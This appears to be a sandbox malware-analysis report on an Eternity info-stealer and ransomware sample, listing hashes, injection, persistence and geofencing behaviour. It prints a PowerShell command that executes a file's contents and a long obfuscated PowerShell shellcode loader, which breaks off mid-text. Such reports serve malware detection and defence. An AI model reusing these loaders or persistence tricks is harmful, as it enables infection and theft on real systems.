eternity | d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8

Analysis

max time kernel
112s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
15-12-2022 08:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8.exe
Size

1.4MB
MD5

37da979d87ef402b50cb00266bc00808
SHA1

ae0134c76c9871bfede27d5f9d7c628f660bacd2
SHA256

d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8
SHA512

be284a1e91eba43adf9ee208fdcceba8f67e33d40bd0fd43bc46129520bdb6986c2075875bafacf6706ea10f824245edf9dff93c20ecea91ffb9c3c971eb1225
SSDEEP

24576:gTZL7vcwpCFbT1J11cBfIVnXg78FiClztx7vxNRWjKD8+e8+7C3URV6Wc:2L7xpQbTgBAmWJlLbbRWjKje8FyVm

Score

10^/10

eternity persistence

Malware Config

Signatures

Eternity
Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.
eternity
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

pffbaqn.exepffbaqn.exejettyhead.exe

pid process

1976 pffbaqn.exe
2500 pffbaqn.exe
4116 jettyhead.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

pffbaqn.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation pffbaqn.exe

pid	process
1976	pffbaqn.exe
2500	pffbaqn.exe
4116	jettyhead.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	pffbaqn.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

pffbaqn.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\posuivxesvn = "C:\\Users\\Admin\\AppData\\Roaming\\hioimpojp\\jmkjqidylorl.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\pffbaqn.exe\" C:\\Users\\Admin\\AppData\\L"	pffbaqn.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

pffbaqn.exe

description pid process target process

PID 1976 set thread context of 2500 1976 pffbaqn.exe pffbaqn.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3888 4612 WerFault.exe powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4640 powershell.exe
4640 powershell.exe
4612 powershell.exe
4612 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

pffbaqn.exe

pid process

1976 pffbaqn.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

pffbaqn.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2500 pffbaqn.exe
Token: SeDebugPrivilege 4640 powershell.exe
Token: SeDebugPrivilege 4612 powershell.exe

description	pid	process	target process
PID 1976 set thread context of 2500	1976	pffbaqn.exe	pffbaqn.exe

pid	pid_target	process	target process
3888	4612	WerFault.exe	powershell.exe

pid	process
4640	powershell.exe
4640	powershell.exe
4612	powershell.exe
4612	powershell.exe

pid	process
1976	pffbaqn.exe

description	pid	process
Token: SeDebugPrivilege	2500	pffbaqn.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8.exepffbaqn.exepffbaqn.exejettyhead.exepowershell.exe

description	pid	process	target process
PID 3576 wrote to memory of 1976	3576	d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8.exe	pffbaqn.exe
PID 3576 wrote to memory of 1976	3576	d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8.exe	pffbaqn.exe
PID 3576 wrote to memory of 1976	3576	d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8.exe	pffbaqn.exe
PID 1976 wrote to memory of 2500	1976	pffbaqn.exe	pffbaqn.exe
PID 1976 wrote to memory of 2500	1976	pffbaqn.exe	pffbaqn.exe
PID 1976 wrote to memory of 2500	1976	pffbaqn.exe	pffbaqn.exe
PID 1976 wrote to memory of 2500	1976	pffbaqn.exe	pffbaqn.exe
PID 2500 wrote to memory of 4116	2500	pffbaqn.exe	jettyhead.exe
PID 2500 wrote to memory of 4116	2500	pffbaqn.exe	jettyhead.exe
PID 2500 wrote to memory of 4116	2500	pffbaqn.exe	jettyhead.exe
PID 4116 wrote to memory of 4640	4116	jettyhead.exe	powershell.exe
PID 4116 wrote to memory of 4640	4116	jettyhead.exe	powershell.exe
PID 4116 wrote to memory of 4640	4116	jettyhead.exe	powershell.exe
PID 4640 wrote to memory of 4612	4640	powershell.exe	powershell.exe
PID 4640 wrote to memory of 4612	4640	powershell.exe	powershell.exe
PID 4640 wrote to memory of 4612	4640	powershell.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8.exe
"C:\Users\Admin\AppData\Local\Temp\d2a5fb8eb9ad3db722be4d6a4bfe3acff288dc1cde64644a7b9900d2563b14d8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3576

C:\Users\Admin\AppData\Local\Temp\pffbaqn.exe
"C:\Users\Admin\AppData\Local\Temp\pffbaqn.exe" C:\Users\Admin\AppData\Local\Temp\ypddnkzjcwt.k
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1976

C:\Users\Admin\AppData\Local\Temp\pffbaqn.exe
"C:\Users\Admin\AppData\Local\Temp\pffbaqn.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500

C:\Users\Admin\AppData\Local\Temp\jettyhead.exe
"C:\Users\Admin\AppData\Local\Temp\jettyhead.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -windowstyle minimized $a = Get-Content 'C:\Users\Admin\AppData\Local\Ecphorize\Gonocoele\Ansamlende\Diaphysis\Esmakkere\Soothsaying.For' ; powershell.exe "$a"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Unaffrightedly Snitfladernes Langeel Afgrundsdyb Thermodiffusion #>$Palisading = """Pou;SkrFStuuUrynIllcpretFrniPiloConnjel LemHTitTWerBDil tbr{Rol Ove Stv Cor OvepBrdaOglrFluaFibmJac(gep[MedSUdptNegruraiEvanDewgMal]Lan`$ApoHUniuCigmBraaSounValmOpluskimostmKasyUna1hep5Tvi2Tho)Air;Par bif She Nat Shi`$SicSLippBrerFejjAmatNoneNatnGoldFuleRip Sul=Coe PilNEleeTrawBal-PraOMerbTidjBroeSimclartbas LufbStryAchtUpbeNgl[Uds]Bhm Uti(Fon`$MyoHpeduBedmLimaRetnTrumReiuTabmHermEpiyFor1Mis5Fik2Sen.HocLMaaeJonnReagSletBruhSpi ari/End Wik2Und)Pro;Und Dri Alc Des AanFOldoSperEns(Fen`$EquSFortLimuStapKvohMareRen=Fac0jus;tel Reg`$coeSVactAntuVicpLovhRogeafe rep-ProlsamtToa Thi`$CelHTopuMalmInvaSafnjermRecuChamMaamOslyBot1frs5Fyr2Res.EtaLGrveInsnWorgDnntBrihCon;Phy Gif`$PinSAfntTryumispGamhkoneOve+Akt=Sel2tan)der{Gav Tra Cae apo Bob Ska Pul Pri Bio`$tnkSforpBabrPeijBartlaaeAndnSkydCrueDat[Mah`$iteSabstSiguovepEpihEngeLiv/Sch2Art]Uns brn=Nav Rab[ComcWinoPlanSylvAndeCalrWomtArm]Chi:Sol:SynTteromusBHypyAbitRineSta(Auk`$savHslauPolmrudaMusnTilmStauUnmmIndmSavyBog1Skr5bip2Pen.AtaSNeuuCelbSvmsTettPinrPhaibjenNongSge(Opf`$UnmSSpatInsuPlapGanhFirePla,Luc Tri2Kvs)Uds,Sec Ser1Udb6Tor)Vel;Tri Sup Sca`$TilSVakphesrdisjTottVedeComnBardNiceOpt[Pen`$ReeSOvetTheuSuppdishFarePun/Sup2Spi]Coe Ind=Pri Pir(Elu`$MicSVinpProrObjjDiltAfteAspnLemdGrieSki[Ops`$CosSRentPecuIndpSpihRuteTot/Ste2cra]Pre Ebu-PenbMorxFonoAnkrNon Obj1Ven4rig1Med)Ind;Kok Per Opl Dac Hof}Hal Tek[ApoSSkitSeprBiniUngnThegHon]Dik[SymSCaryPunsComtNoneGrfmFor.FotTDrbeAbsxRaftAdu.TidEBuknFrocPuloSladViriUnanFlygMet]Hmo:Paa:KasABenSThaCSheICycIluc.UniGBoseCastSlaSFlatDisrFejibomnInsgTyp(Nys`$HetSQuepVidrSlijAbntDoceDoknPhodSameOas)Kol;Sul}lam`$SupFRepiLootOescTyrhTorepantbio0Sma=cadHBakTSubBbah Qui'CouDPenEstrFSan4VinFTwoEOpeFSol9IntEStr8GraEgod0SkiAAdv3MerEIps9VelENon1VedESpi1Ser'Blo;Pol`$UndFCaliPaatSkncPalhsateHustNon1Mag=silHOrtTTemBMes Del'TofCBon0EviEans4BilEMelEAliFPriFMarEPor2SirFTriEDeoETou2BudEDilBBeaFSge9LitAVat3NonDBilAScaECor4HetEKin3UdtBSooElatBmulFForAPro3KonDMed8SonEInt3TobFTyrEExeESmmCHyaEBanBWarEAut8MisCPea3CemESkrCDuiFPos9HarEasp4kotFNonBTraEOcc8TjeCSla0FerEKbe8RenFFak9GraEBuc5PhaEDro2AftEBea9KomFUlrEoli'Pom;Bel`$GarFSpuiKlitstacAnohNoneReltFly2Ase=BdeHGenTProBWoo Mal'GenCTraATeqEEry8UndFTec9StaDSelDDreFEgeFFreEEch2TraEcolESceCWitCUnwEPos9EksENed9AniFGriFSkiEFau8intFmaiERetFdogERet'Ame;Erw`$KluFReliMaatKrecArrhScreHantFja3Hyd=SocHButTFljBAve Mat'MorDGreEAftFAss4ComFBenERadFSpi9DetEPla8SpiEAfs0KejAWee3MotDMuoFFunFSub8mgbEsev3HeaFMon9GloEpul4PreEUnc0FurEpan8SnuASup3resCacr4SejEUdt3JagFSte9JonEtyk8AilFRedFUlvESaf2misFBomDHemDForEKloEKna8KalFTraFSprFIldBEnfERea4StuESamEStaEGen8SynFCoeETerASig3IndCcon5TidEJohCDisEAmp3SynESyn9ProENrh1NatEDuk8CenDPriFBesEHyp8PatEperBAir'Ove;Hal`$NaiFPiniMastInfcRaphepaeClatArk4Cla=PreHSpiTAjoBTja kon'skoFAfbEAmaFInt9StoFOmbFSvoESyr4kibESys3ForETalAAad'Int;Dis`$MicFWinispetStrcReshSrteopdtRef5For=BadHSkyTArgBBat Idi'TanCUddAOveEAlc8vinFSik9UncCLit0HocEWak2NinEcro9MalFDok8conEOve1NorERem8CyrCUdf5BrnESneCPreEPol3MirEHov9MaaEAut1UnsEOpt8Tll'Ana;tid`$indFHydiBrntKlacKarhStoeCamthop6dis=SonHLarTBagBSto Mer'UnsDSprFNigDSva9UdbDenzEOutFrouDSilEOff8BliEBedETemELej4AmyEmarCScoESla1posCFol3BunEUnoCSugEVar0FrsEPsy8IllAlvi1SemAHreDParCEmi5ArmESol4IndEBas9PonEfri8freCrigFLadFTaf4StaDPaeEAntELad4ritEIndAAlkAMac1TeaAForDCenDForDOilFKam8KraEAntFNedEpum1CemECig4BerEEddEPre'Non;Pho`$digFHypiFintPoscSkahKoseavitbeh7Teg=BodHLinTHalBFrg Opb'SolDValFNodFGen8TaxEdom3SweFPas9ForEAnt4FylERev0HebEGym8TeaAHel1TimAwooDMajCGov0GrsEfimCProEArc3CorESneCJagEPorAPenEUns8AktEMag9sla'Swe;Nor`$SauFIndiPhotgylcAmohAtheBegtSub8Tym=FejHExtThurBMes Bil'BloDDemFSilEgua8EftEForBPolECon1RunEbjr8SkaEdesEDekFCof9AnkEStt8StoEAge9FleCLet9KemEPre8lbsEDes1IsaETad8VagEArcAHeaESisCKliFpan9arvEcam8Hex'Res;Dye`$FarFDemiwartfrkcsmuhNotePletWai9Fin=BliHBraTDisBamy Tyr'PesCTri4UnrEAft3UnwCRin0HeaENon8SpeEMck0ProEScl2KaaFSvaFAcrFHay4FavCVac0CanEBar2SkrEOmn9CisFPro8shmEUnd1ParEJyn8ise'Reg;Poi`$CruuHiedSilvafgaDyrlTidgSkrsKlipHjlrDrhoHydcXyseTerdSvouLgbrDigeDec0Spl=IdeHMatTBedBRea Zen'ConCWei0FisFDiv4BnnCDia9NiaERei8HolECur1SpaENor8LyoEAfsAMerEOpsCStvFDur9ForEKog8BreDLge9ApoFBro4TenFPleDDeeEHud8oof'Mic;Ind`$DouuGafdMawvUndaAvalCovgMonsRudpVrvrNonoLapcLrleHerdDoruOverunoeAdo1Sla=NorHUnmTAarBSkn Hel'GifCUfoEOptEMou1BroEGipCAluFWriEPusFUncEUnsALde1ResASauDUblDBonDAdeFOve8SkyEMasFUndEeks1IsoEAnd4NauEAmuEskiAHob1PolATerDHypDGenETryEHis8LemEBrnCSanEPos1EmbEFje8SelEKol9BacASam1ValABloDLivCSveCstoEDol3BamFResEEksEAdv4RebCKarEMddEAnt1OpiEstoCBygFHonEIndFSliEUnrABeh1TvaARneDScuCResCronFSnu8PrmFRis9SteEPlo2UimCBryEMelEZol1HypEAbsCNonFYndENaiFTroEDem'Kap;Con`$FiruFradBemvCosaSpilBjrgAgnsunrpDoerBetoKemcacaeCrodSymuanrrGudeMan2For=LysHHusTculBDri Ans'ConCBra4UltERen3BroFSkrBAppEunh2SonECin6pedEAth8Con'Nys;Opf`$SubuFisdHypvbedafralLutgBlusSalpTilrFraoBypcModeDesdCteuTilrDgneFre3App=BarHObjTHypBTot Ned'PreDEftDKroFgro8KlaEVooFNavEAdd1TwiEEar4firETmmEWooADob1SamAKarDLysCAut5StiEdek4MatETax9HaeEHan8ArbCtosFDebFHet4UfoDSlaEAntEPre4GldEMelAWobATea1LatASteDSwiCTro3AngEPro8IntFSeaAOutDGrvEGruEToo1EksESag2InfFLox9ForARep1DriArapDDyrDSetBDeiELaw4AbbFStrFlstFFra9NedFRan8UleERetCBruEfor1cha'Fel;Til`$DipuSluddalvforaSillObsgMiksMaspTrirMasoMelcVoveTbsdPyruRebrInteKal4Hyp=InhHCotTTrfBtab Fje'AntDMimBAstECal4dupFEksFAevFTum9ParFMll8EmbEUsaCHunEVen1EntCStoCOrdECon1StaEOpd1TydEAco2flyEProELid'Dol;Mou`$BoluIntdCemvRomaStrlafbgfresTyppTaarHaaononcSereKrodOveuModrVireSer5Brn=VaaHaffTDunBAlu Int'TooEPla3KasFRaz9nonEErh9DevELiz1ParESik1Shr'Egg;Bad`$eleuKredCasvKefaRumlHaagBolsLanpPatrAcroFdecFloeSeldMiduFjorsymeUns6Hil=DalHTytTBedBKar fid'PicCTel3UnaFKon9MatDStiDFreFGeoFManEaya2MicFDep9LagEPed8ChaEAanEPaaFFer9BorDRejBBilEJor4GalFTraFBalFace9SlnFInd8EvaEStjCUndESte1GenCSyn0FlyEAto8KicEUns0DepEWic2BetFarcFlucFTur4Hin'Wat;cra`$BliuTzadkorvuneaulolGalgCursPanpCirrNonoComcTeaePardBufuSlerComeCav7Leo=SliHEmeTFanBBet Sam'VrdCAft4GenCSym8TomDBde5Eve'Reg;Ded`$AlauBuedCravKriatatlFllgLassOvepLevrMisoRovcUtieVandEmnuMedrDeceHer8Rej=SolHKruTChwBPer Bol'GenDSke1Ele'Ski;FisSKoleDirtUnr-CorAOprlAmpiPipaValsTre hun-TignFabaKalmKareBja OveuterdFinvIntaHatlMergBessYarpTrarDefoHurcFileTrydRefuLedrBeeeAfs9Adj Pol-KurvUniaPoslNrsuGraeImp Mor`$SkluTaldStovEftaWhylKosgDelsKonpBrkrJuioAntcBrueSyndInduFigrUdteSlr7Udm;WeefSkiuUndntoncVoltOrdiBesoUtmnrec FlafslakFjspPom Byg{EriPSalaPolrSuraDetmHov Cut(Mem`$SelRGloiPireGhasMar,Rep Ibl`$TabNStaeAnngTeeeVanrDiaiGamnNesgMarsInifminubolnLurkMantBjlimicoHaunKnseEmbnuntsGat)Caa Alp saa Pro Non Ind;Fld`$fagKSmiaActbSkyaKorrSpy0Fil Ger=AraHPerTFisBVap Lod'DamAMak9StaDPro8ForEMes3BreETheCAntESkaFHovEPor9RacEsta4axmESenEBesEScaCHrtFUne9NymEMin4BefFHunBStiEVag8MorATurDStrBDiu0CouAShiDComASpr5InkDGra6FreCIdeCRevFInfDUdkFTedDStuCCyc9staEaft2SpeESnd0UnpEAdmCLinETwo4sonEInd3PilDMoo0LydBMil7LnkBBes7BenCwreElecFSkr8LysFBegFSupFMudFJuxEPer8AntEBug3DowFKam9SpyCExc9DumEInv2PerERot0PreENonCConEFri4KriETte3theARes3AswCDabATryELag8UtiFUns9SlaCEksCProFSolEsheFwhiEParEOve8OpsEgen0FilESorFTroEMus1curEKiz4infEFaa8TitFCooEAvnAAsc5UndAMor4GulASopDSerFgar1CoaATekDGamDfeuAArgEsin5ForEAlo8PerFtoiFAdvEFor8CouAIsc0misCExt2CarEEpoFIncEBod7SouESto8SpgERenEFukFPri9BjlASmgDUtiFAbo6ProASodDModAHau9MidDKon2SubAAnt3HomCpodACheEFlo1CigEbln2BegEcanFAdvEVirCBisECha1ApoCShaCStiFdiaEAdmFUnaERaiECir8thaEUnd0ComEIntFsanEEtt1SigFBol4ngeCskrEMarETouCReaEHyrEundEmid5NulEcho8OrgAPriDSclAFas0IniCOpkCFetEBaa3TykEDer9DuiAFreDTalAEge9FluDAmo2AlaAFaa3IndCAmb1LooEAns2KliEAdoELegEUnsCEleFFej9autERun4ForEnon2DumEBle3SiaAFle3TriDPlaEVadFBooDunpEBos1RusEBil4infFHus9OveARec5LetAOve9ResFrou8ForEPri9RegFPraBParESmuCtroEhop1InfEForAeffFSteEUdnFDeoDKriFFraFEndEInd2PerEphyEBulERes8ArbELiz9sagFjua8AnaFMarFHomEGra8ArbBCha5MedAUnd4ProDKil6DasANon0OleBEssCUfoDDem0UnrAAcc3MycCTos8BraFArtCUnfFReb8ProERomCStoEObs1DotFSviESpeADel5JudAFul9myxCGatBPreEEsk4oxyFFol9BecESemEMorEWir5ReaESta8KriFKbm9NonBIntDConAHoe4AgoACreDSmeFUdd0DisAMar4fjeASqu3ResCThoAPelEBer8StrFGen9BegDFun9ForFIro4CytFUpdDEulEmyo8BoxARun5pleARge9dbmCRebBThrEWat4HonFSar9SkiECheEVarESyn5EurEMus8minFKet9DiaBFreCTriALum4Eft'Dem;PhauTradUnvvTriaKablUnsgRedsDiapAffrKaloPalcPrieStudAscubydrColeExa9Hal Bie`$EneKEilaIskbTriaMedrRet0Aym;Uar`$PloKTroaSelbBilaSanrSip5Sod Phe=psy VerHBarTKreBNor Int'SepANon9ElsDadaEAreFResDTunEBjr4sknERev9TalFDepEHjeEMae5FodEBorCKulEPak0SolEMes0AnkECou8SagFKrkFoveEslo8AarFUnmEFlaAComDCirBDru0UngAFisDOptAVov9ImpDSpo8HstEDep3SpeEBlaCPunEForFUrmEBih9StiEKon4BarEFemEautESpeCRemFEks9PreEUdd4sviFInfBMilESti8GreAcha3aetCHalAHorEHea8DitFKol9CacCFes0MedEGon8DesFChl9HysEEqu5SkaEGab2ObeEVag9DisALse5LeaAShi9HjeCMooBTrnEDra4EksFUnm9SloETarEGasEArb5FluEBri8TitFJob9PatBSldFSanAGra1MalAPerDSslDbil6StjDAmi9SpiFRaa4defFPusDAflEKlu8KohDClu6EpiDAdv0UfiDapl0briAHelDGreCRegDSleAHyp5KicAKin9GstCSkuBLinEIne4SubFSne9BesETolEChaEBar5EksEBlo8ConFDan9PatBTyrEGagAAni1ArmARefDMurATil9LaeCCohBSekEFan4DemFCha9pieEDogEForECom5VexETnk8skuFFag9PiaBDig9MinAInd4TigAJer4Lid'Ung;WoouUnddShivAppaBenlElegudbsGerpFadrFumoRhicFioePridAlbuhucrEvoeAmp9Lam Sca`$ArtKPolaMacbWasaEinrSun5Bul;Log`$KirKModaDogbFisaChorKin1Due Lea=Uce ResHAnaTUbeBBol beg'CayFValFInsEThr8SulFBns9TonFGea8CamFvanFskrERou3IhnAPseDCoiAJyn9EskDDesEOmfFNedDBldETaa4RusEDio9StrFOrnERasECyc5KdaEPenCJokEPar0OptEPri0TanEFor8PlaFKonFPaaEcel8PreFDegEUnaAArk3SquCRor4TasEAlf3UomFFarBHasEPan2DamERaf6UnsEEvi8StrABrs5AflAUnd9ProEAfs3UnqFLar8DefEPep1DivEGre1PloAAcc1ParAAceDHidCKphDLtaAInd5ForDRac6BorDUnhEPapFUnc4InsFPhoEPerFPla9SrkEFor8faaEAnb0ArvATig3SlaDBalFGazFSpr8KabEBro3StyFmel9DunETrs4SpuEFor0unpESpr8GlaANor3AugCMed4MusEPep3OutFHus9SneEGud8bdeFSteFSstEsge2OttFsadDnikDErsEDveEAnt8VolFGurFAktFPalBOpgEGro4InrEPlaEforEEnk8UnpFangEFolACai3NigCNew5MenEKinCGenESex3SpaEOxy9AngEChr1MagESal8IsoDApsFIndEWat8LamEDisBPriDVas0RedAEnh5EjnCHje3rejEGer8CirFChaAsmdAAdr0PloCCor2BliEMyxFUncEDis7SpaEFan8bumEBraECraFPht9AcaAZooDLolDColEAfhFReg4KonFFrkEEmbFFly9FinEOms8AppEGed0SkaADru3IxiDOplFbizFUni8LfoESla3ForFFin9ForEdks4StyEDus0IndEZyg8eksAKia3SacCpre4motETas3BesFgam9TomEAdv8BurFSilFKonEWel2BloFOrdDReiDSkaETooEOrl8SteFGirFVgtFSdgBTraEhom4AntEdeeEModEThe8PleFAbrEInsAGul3FagCCon5herEfllCSweEHea3hogEEff9AbdESta1DolEOpm8megDTheFretEExe8TalEOutBNigAPha5UdsACha5DelCTol3GasEFir8ChaFKomALgeANon0LarCDoc2staEMilFTemERes7ErsEPer8PedEgenEDisFFre9GenAOejDRusCgiv4SydECoc3UdmFLat9BliDAfsDNonFSub9badFValFTomAOmh4PluAlup1StoAStoDskaAAnt5winABle9MadDmis8HulESag3RulEHemCArtEHanFMagEHyp9DiaENat4proEScaEJetEParCMigFHet9KruELam4gloFForBBagEDem8OpgASmr3QuaCRitAFakESam8TraFTre9ZygCWom0DifEAsp8colFNav9CarENed5ForEStu2ProECon9OmdASup5PerASpi9BagCeliBAidEDel4PolFHen9EvaEGrnEnonECom5CatEAde8PosFCon9IntBPho8DobAIde4EntAFlb4ForAIat3RorCHjl4ShoEKap3GuaFKroBPanECry2UdrEBes6rugEMod8AntABre5SpeARin9bulEDok3UdsFVar8dowEnit1BygEHam1NitARek1ThaAEjeDExpCarrDFreABaa5SkyAdef9AttDForFShaEVid4BesEDem8OpkFSpeETjeASol4FlaABom4SopAFru4RneABor4BraAAla1omkAKidDKomAsub9CapCFri3ramEDel8HypEKvaATomEPur8skiFTriFMilEBor4flaEArb3HjeEEndAForFCosEParEexpBSorFPsy8HemEKil3AnnENon6besFFyr9UdfEBoa4OphEAna2PreETil3SelEKam8VibECli3BraFOzoEMakATru4ShiABan4Rid'Pen;ProuKerdPigvAfmaflyliblgEpasRelpAmirMasoVincHareSkydPeruRetrSmaeThi9Kam Por`$OmbKcivaanpbBriaMolrPar1Cre;brn}GanfPleuSponPlacRuntFaviAnsoMednfea TaaGRelDKrsTBeh Pro{bovPSoiaWenrDisaLoxmFol Tax(Lor[BilPVesaUgerkonaMicmCeneSkntGaleLabrCor(norPVaioForsAndiagrtFiliOveoPsenInd Bem=For Out0pgl,Drs RakMEloaPednTerdLivaAfvtPosoHexrImpykla bra=Che Std`$KnoTHexrCaduOveeStr)Sin]Var Hin[ProTMinyWolpSjaeChe[Tro]Sea]bes Gur`$HypASirmUtibNediVullBliaScoeJunvFesoLevuTovsRec,lrr[kamPCoeaKnsrKakaBjamUnmeSphtmineTrorMon(JesPUstoritsLapiSertEndiWiroSpenIdm Sti=Cra Bor1Sol)Akv]Sil Ged[ComTUneymikpOpseLys]Wag Exo`$ReaMProaDaklSelmFalyFor Stu=Tvr Tra[sakVsanoforiovedNas]Kha)h h;Kon`$BolKImpaKatbMisaCylrKoh2Ove Akv=Ark solHSorTAldBPos Sel'udsAUgr9FeeCjaeFHarEHmo2EpiFSupFAloESen3DocEFis8KryEPud2CouAPanDStaBHen0NonAPreDNedDSlb6UnpCUplCSnaFkapDIndFProDAppCMig9opsELam2IdeEvin0TilEMaaCFaiEhus4PunEOut3YdbDTer0CamBPel7KonBDul7OpvCDelEIrrFSki8NedFIndFDecFToeFSupEaer8NonEKon3MonFLka9BagCurk9PriERup2SedEMis0NanElevCAskEGle4DefEPar3BekALys3NoeCPal9CotEDek8PecETheBPleEPol4SocEAfv3LevECam8BekCFal9ForFAlg4SolEAff3ProEBevCinsEEla0JauEKoe4GenESukEAdaCSadCPalFSixECusFIndEsupEKns8bauESni0KonEPusFAntETer1ResFFla4kaiANou5strAFed5TilCAco3hidEFid8KoiFForAAssAEks0sviCOut2OveEFarFSkaEOot7EllEGod8LamEIndEYowFDis9StaALizDInaDUndEArtFDep4ufoFAlaEloeFUni9IndEure8NipESha0PycARes3uniDSerFBraEPos8ResEOptBCanEPro1CloEQui8StuEComEFruFall9EnsEPra4DryEcem2petECol3TarALeg3ForCVirCSleFBraEComFPruEForEPol8SalEThe0NatEHouFSomETid1KoaFSma4YeoCQua3sphEMetCAnaEBar0TraEAut8PitABog5BaaAAlf9SenCCoiBSkeEKon4ProFund9KarEDesEDirEUnm5HowESlv8DinFTen9DraBBec5WhiACuc4LanAMd 4KmnAPyl1YirAhirDBrgDKos6SpeDPatEAngFNec4StrFTruEFjeFPri9RetEBet8SteEPry0MorANav3AmpDtubFForEDem8UnnEInsBMarEInd1SynEMid8OpsEManEKriFSin9ShaERop4arsEDdb2ChoETav3HaeAJac3FenCFan8KreEUna0SceEKbe4madFInt9ordASek3TraCalaCStiFVagEResFBadEAvuETen8AcrEIdr0StoEBjlFUndETil1BorFani4YokCPaaFStoFsla8OveEVen4ProEDep1banENon9DelEUnr8FalFConFTilCCliCEngEAlbESolEPreEFolEpho8VadFGokEUntFKurEAulDsch0SenBOrd7AutBAtm7SubDChoFAstFUds8KarEHyb3FaeARic4DirAFor3ParCBeh9ForEAfk8SocEOtiBTemESou4FroEGaw3ChrEInd8ComCGrn9UrtFPol4NonEBrn3AfsEMonCMurEKro0SveEHym4forEIpsEpyrCVen0FriEMon2DeaEAcc9SvaFana8BetELec1CorEIza8TouASau5OdoAMac9StyCRecBTilEYde4SteFKri9StoEOmsEGryEUnl5ImpESid8DivFFre9IntBTre4NetASol1RedAKluDterASam9QuaEaidBRigESawCForEHor1StaFProEChiENan8PerATer4SceATri3VerCAir9AfpESkv8BorESanBMomESup4OegEDkn3BefEunc8BemDBar9AmaFBan4SemFcalDHviESpe8TegAPla5PosAPro9OmlFMut8CorERak9EnkFEnmBMisEAmoCTreECau1AccEIcoAantFratECamFbacDDeoFUgeFBrdEHre2AutEDraEBagEDeh8AscEAfl9KagFPiq8JetFKunFSgeEEnt8ProBOutDBlgASel1KneATilDFejACel9JerFFor8KreEGor9SubFHemBStoEDetCBepERev1panEAggAIndFLinERanFAntDLaaFHjsFkliEEnd2RdsECutEFraEMis8LatEAre9CarFMon8BenFMacFtetELit8UndBSulCeloAPro1FilASadDPerDSir6UnoDDiaEFilFAst4SamFFlaECerFKun9SdvEOes8FraEIna0ConASto3fagCEpr0AdoFYdr8SkuEOmk1StiFTox9DouERom4RetEAviEMetEVarCSamFKreEKroFPla9DelCTao9ValEDem8LisENom1GupEKli8CasETreArevEProCAutFOpv9ArgESnu8MonDFor0UnhAEge4Fir'Deg;SkruSkidNedvBejaHyplEndgEldsSkipSkarAppoDrbcEsseSamdStouGalrBloePre9Cha Cyt`$FdeKIndachrbFodaMyorCan2Fed;Nig`$SkaKCemaOdobRieaHairSti3Afl Ant=Hyd RinHDriTFreBBal 